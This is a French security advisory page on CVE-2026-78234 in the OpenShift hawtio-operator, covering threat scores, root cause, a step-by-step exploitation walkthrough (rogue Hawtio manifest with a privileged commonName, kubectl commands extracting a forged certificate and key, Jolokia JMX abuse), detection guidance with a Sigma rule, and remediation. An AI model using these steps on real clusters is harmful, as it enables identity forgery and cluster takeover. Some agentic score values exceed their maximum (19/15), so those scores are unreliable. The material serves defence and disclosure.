Aller au contenu

CVE-2026-78234 : usurpation d'identité et compromission de cluster via la clé de signature service CA dans hawtio-operator

HERMES

SCORE DE MENACE HERMES & FORGERIE CRYPTOGRAPHIQUE DE CLUSTER

Cible : Cluster OpenShift / Kubernetes — Opérateur Hawtio & Architecture mTLS Service CA
Confiance : 98%
95 / 100
EXTRÊME

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 19 / 20
Activité de menace 18 / 20
Militarisation 19 / 20
Exposition 18 / 20
Prévalence 19 / 20
Impact 20 / 20
Maturité de l'exploit 19 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le standard CVSS v3.1 classe la CVE-2026-78234 au niveau critique 9.9 avec modification du périmètre (S:C) et privilèges faibles requis (PR:L). Le score Hermes Threat Score de 95 (EXTRÊME) reflète la rupture immédiate de l'isolation multi-locataire dans les architectures cloud-native. Les profils par défaut d'OpenShift agrègent automatiquement les droits sur la ressource Hawtio dans les rôles d'espace de noms 'edit' et 'admin'. Tout conteneur compromis ou développeur disposant d'un projet local peut utiliser l'opérateur comme un oracle cryptographique pour forger des certificats mTLS valides pour n'importe quelle identité de service, neutralisant le cloisonnement réseau.

HASS

SÉVÉRITÉ AGENTIQUE HASS & DÉTOURNEMENT DE L'ORACLE DE L'OPÉRATEUR

Cible : Automatisation des opérateurs cloud-native, autorité de certification Service CA et authentification mutuelle
Confiance : 95%
88 / 100
CRITIQUE

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions
Autonomie décisionnelle 17 / 20
Accès aux outils & APIs 18 / 20
Privilege 19 / 15
Persistence 17 / 15
External Impact 18 / 15
Propagation 18 / 15
⚖️ Divergence & Justification opérationnelle

Du point de vue des infrastructures autonomes, les opérateurs Kubernetes agissent comme des agents hautement privilégiés réconciliant en continu l'état désiré du cluster. Lorsqu'un opérateur détient des clés cryptographiques transversales mais délègue la configuration des paramètres aux locataires sans validation stricte des sujets (Subject CN), il devient un oracle de signature vulnérable. Des agents logiciels subvertis au sein d'un cluster peuvent exploiter cet oracle pour s'arroger des droits cluster-admin sans déclencher les alertes d'audit traditionnelles.


Dans Red Hat OpenShift, l’opérateur Service CA génère et injecte automatiquement des certificats pour les services internes et signe les certificats clients utilisés pour l’authentification entre composants. Les agents Jolokia (port 8778), les métriques Prometheus et diverses API internes accordent une confiance aveugle aux certificats émis par cette autorité interne.

┌────────────────────────────────────────────────────────────────────────────────────────┐
│ CLUSTER KUBERNETES / OPENSHIFT │
├──────────────────────────────────────┬─────────────────────────────────────────────────┤
│ ESPACE DE NOMS LOCATAIRE (dev-team) │ ESPACE DE NOMS OPÉRATEUR (openshift-operators) │
│ │ │
│ [Pod / Compte de service attaquant] │ [Pod Hawtio Operator] │
│ - Rôle 'edit' dans dev-team │ - ClusterRole avec get/list secrets │
│ - Crée la ressource Hawtio │ - Lit 'signing-key' dans openshift-service-ca │
│ spec.auth.clientCert.commonName: │ │
│ "system:serviceaccount:..." ───┼────────────────────────────────────────┐ │
│ │ │ │
│ │ Contrôleur de l'opérateur Hawtio │ │
│ │ 1. Récupère la clé privée Service CA │ │
│ │ 2. Signe le certificat x509 demandé ───┘ │
│ │ 3. Dépose le secret dans le namespace │
│ │ │
│ [Secret du certificat client forgé] <┼─────────────────────────────────────────────────┤
│ L'attaquant extrait tls.crt & key │ SERVICES CIBLES (au niveau cluster) │
│ │ - Agents JVM Jolokia (Port 8778) │
│ │ - Endpoints d'administration internes │
│ │ │
│ Connexion mTLS authentifiée ─────────┼─────────────────────────────────────────────────>
│ -> USURPATION D'IDENTITÉ VALIDÉE │ -> EXÉCUTION DE CODE JAVA ARBITRAIRE (JMX) │
└──────────────────────────────────────┴─────────────────────────────────────────────────┘
ParamètreDétail techniqueImpact opérationnel
Identifiant CVECVE-2026-78234Avis Red Hat RHSA-2026:66120 / Bugzilla 2524894
Classe de vulnérabilitéValidation de certificat incorrecte (CWE-295), Contrôle d’accès défaillant (CWE-284)Usurpation d’identité et élévation de privilèges cluster-admin
Composant vulnérableContrôleur de réconciliation de hawtio-operator (pkg/controller/hawtio)Chaîne automatisée d’émission cryptographique de certificats
Vecteurs de déclenchementDéploiement d’une Custom Resource Hawtio avec commonName arbitraireRôle RBAC edit ou admin sur un espace de noms
Authentification requiseFaible (PR:L) — simple développeur ou pod dans un projet localÉlévation transversale entre espaces de noms
ImpactExécution de commandes Java arbitraires via Jolokia JMX, usurpation mTLSCompromission intégrale des charges utiles et des nœuds du cluster
Versions affectées< 4.0.1 (Opérateur) / < 4.4.1 (HawtIO)Tout cluster exploitant l’opérateur Hawtio OpenShift
Version correctiveHawtio Operator 4.0.1 / HawtIO 4.4.1Registre officiel Red Hat et OperatorHub

2. Analyse de la cause racine & mécanique de l’exploit

Section intitulée « 2. Analyse de la cause racine & mécanique de l’exploit »

La vulnérabilité résulte de l’imbrication de trois facteurs : un rôle d’opérateur doté de privilèges excessifs sur les secrets, l’absence de validation du champ commonName, et l’agrégation automatique des droits RBAC aux développeurs.

Facteur 1 : privilège de lecture de la clé privée racine

Section intitulée « Facteur 1 : privilège de lecture de la clé privée racine »

L’opérateur Hawtio recevait un ClusterRole lui donnant accès aux secrets de tout le cluster :

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: hawtio-operator
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["get", "list", "create", "update", "watch"]

Grâce à cette règle, l’opérateur pouvait récupérer le secret signing-key situé dans openshift-service-ca, contenant la clé privée de l’autorité de certification interne du cluster.

Facteur 2 : l’opérateur agissant comme Oracle de signature aveugle

Section intitulée « Facteur 2 : l’opérateur agissant comme Oracle de signature aveugle »

Dans le code de réconciliation du contrôleur, le champ commonName spécifié par l’utilisateur était injecté directement dans la demande de certificat :

// Logique vulnérable dans le contrôleur hawtio-operator
func (r *ReconcileHawtio) reconcileClientCertificate(hawtio *hawtioov1alpha1.Hawtio) error {
caSecret, err := r.client.CoreV1().Secrets("openshift-service-ca").Get(context.TODO(), "signing-key", metav1.GetOptions{})
if err != nil {
return err
}
caCert, caKey := parseCASecret(caSecret)
// ANOMALIE : Le CommonName provient directement de la spécification sans validation de périmètre
clientCN := hawtio.Spec.Auth.ClientCert.CommonName
if clientCN == "" {
clientCN = fmt.Sprintf("%s.%s.hawtio", hawtio.Name, hawtio.Namespace)
}
// Signature du certificat avec la clé privée racine Service CA
certBytes, keyBytes, err := generateSignedCert(clientCN, caCert, caKey)
// Sauvegarde du certificat et de la clé privée dans le secret du locataire
return r.createOrUpdateSecret(hawtio.Namespace, hawtio.Name+"-client-cert", certBytes, keyBytes)
}

En renseignant un commonName correspondant à une identité de gestion privilégiée (par exemple jolokia-admin), l’attaquant recevait un certificat signé par la véritable autorité du cluster, déposé directement dans son espace de noms.

Facteur 3 : agrégation automatique des rôles RBAC

Section intitulée « Facteur 3 : agrégation automatique des rôles RBAC »

La CRD Hawtio portait l’annotation rbac.authorization.k8s.io/aggregate-to-edit: "true". Par conséquent, tout utilisateur ou compte de service disposant du rôle standard edit dans n’importe quel projet d’entreprise possédait automatiquement le droit de créer ces ressources.


L’attaque se déroule en plusieurs étapes simples via l’API Kubernetes :

  1. Vérification des droits RBAC : l’attaquant vérifie ses permissions dans son espace de noms assigné :
    Fenêtre de terminal
    kubectl auth can-i create hawtios -n dev-team
    # Réponse : yes
  2. Rédaction de la ressource adverse : l’attaquant définit une ressource Hawtio spécifiant le CN d’une identité d’administration Jolokia :
    apiVersion: hawt.io/v1alpha1
    kind: Hawtio
    metadata:
    name: rogue-hawtio
    namespace: dev-team
    spec:
    type: namespace
    auth:
    clientCert:
    commonName: "jolokia-admin"
  3. Application du manifeste : l’attaquant soumet le fichier via kubectl apply -f rogue-hawtio.yaml.
  4. Signature par l’opérateur : l’opérateur Hawtio intercepte l’événement, lit la clé de signature Service CA dans openshift-service-ca/signing-key, signe le certificat pour CN=jolokia-admin et le stocke dans le secret dev-team/rogue-hawtio-client-cert.
  5. Extraction des clés cryptographiques : l’attaquant récupère le certificat et sa clé privée :
    Fenêtre de terminal
    kubectl get secret rogue-hawtio-client-cert -n dev-team -o jsonpath='{.data.tls\.crt}' | base64 -d > client.crt
    kubectl get secret rogue-hawtio-client-cert -n dev-team -o jsonpath='{.data.tls\.key}' | base64 -d > client.key
  6. Mouvement latéral mTLS : muni de ce certificat approuvé, l’attaquant interroge directement les endpoints d’administration Jolokia (https://<ip-pod>:8778/jolokia/) à travers le cluster, exécutant du code arbitraire via les MBeans JMX exposés.

L’investigation de la CVE-2026-78234 se concentre sur les journaux d’audit de l’API Kubernetes, l’analyse d’accès aux secrets et la surveillance des sessions mTLS sur les agents Jolokia.

  • Création de custom resources hawtio : scrutez les journaux d’audit pour repérer la création de ressources hawtios.hawt.io comportant un commonName ne suivant pas la convention d’espace de noms <nom>.<espace-de-noms>.hawtio :
    {
    "verb": "create",
    "user": { "username": "dev-user@societe.fr" },
    "objectRef": { "resource": "hawtios", "namespace": "dev-team", "name": "rogue-hawtio" },
    "requestObject": {
    "spec": { "auth": { "clientCert": { "commonName": "jolokia-admin" } } }
    }
    }
  • Accès au secret service CA : identifiez les lectures du secret signing-key dans openshift-service-ca corrélées temporellement à des créations de ressources Hawtio dans des espaces de noms applicatifs.
  • Journaux des agents jolokia : analysez les journaux des conteneurs hébergeant des runtimes Java (Camel, Quarkus, Spring Boot) pour détecter des connexions mTLS validées provenant de sous-réseaux ou de pods non autorisés.
  • Invocations JMX suspectes : surveillez les appels JMX inhabituels tels que Runtime.exec() ou le chargement dynamique de MBeans distants (javax.management.loading.MLet).

title: CommonName suspect lors de la création d'une ressource Hawtio
id: e8417823-7823-4c92-9112-78234cve2026
status: experimental
description: Détecte la création ou la modification de ressources Hawtio avec des CommonNames non conformes, signalant une exploitation de la CVE-2026-78234.
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-78234
- https://access.redhat.com/errata/RHSA-2026:66120
author: Hermes Codex Cyber Threat Intelligence
date: 2026-09-21
logsource:
category: application
product: kubernetes
service: audit
detection:
selection_api:
objectRef.apiGroup: 'hawt.io'
objectRef.resource: 'hawtios'
verb:
- 'create'
- 'update'
- 'patch'
selection_suspicious_cn:
requestObject.spec.auth.clientCert.commonName|contains:
- 'admin'
- 'system:'
- 'root'
- 'jolokia'
- 'cluster'
condition: selection_api and selection_suspicious_cn
falsepositives:
- Déploiements d'administration légitimes configurant expressément une console de supervision globale
level: critical
tags:
- attack.privilege_escalation
- attack.t1548
- cve.2026-78234

  • Mise à niveau de l’opérateur : déployer immédiatement hawtio-operator en version 4.0.1 ou ultérieure et les images HawtIO 4.4.1+ (avis RHSA-2026:66120). La version corrigée ne lit plus directement la clé Service CA et s’appuie sur l’API Kubernetes CSR avec validation stricte du signataire.
  • Suppression de l’agrégation RBAC : supprimer sans délai l’agrégation automatique des droits de la CRD vers les rôles edit et admin :
    Fenêtre de terminal
    kubectl annotate crd hawtios.hawt.io rbac.authorization.k8s.io/aggregate-to-edit-
    kubectl annotate crd hawtios.hawt.io rbac.authorization.k8s.io/aggregate-to-admin-
  • Politiques d’admission : déployer une politique Kyverno ou OPA Gatekeeper imposant que tout spec.auth.clientCert.commonName corresponde obligatoirement au schéma <nom>.<namespace>.hawtio.
  • Segmentation des PKI : ne jamais partager une autorité de certification de niveau infrastructure pour des consoles d’administration applicatives. Consulter notre étude de référence : Exploitation des infrastructures PKI et certificats ADCS.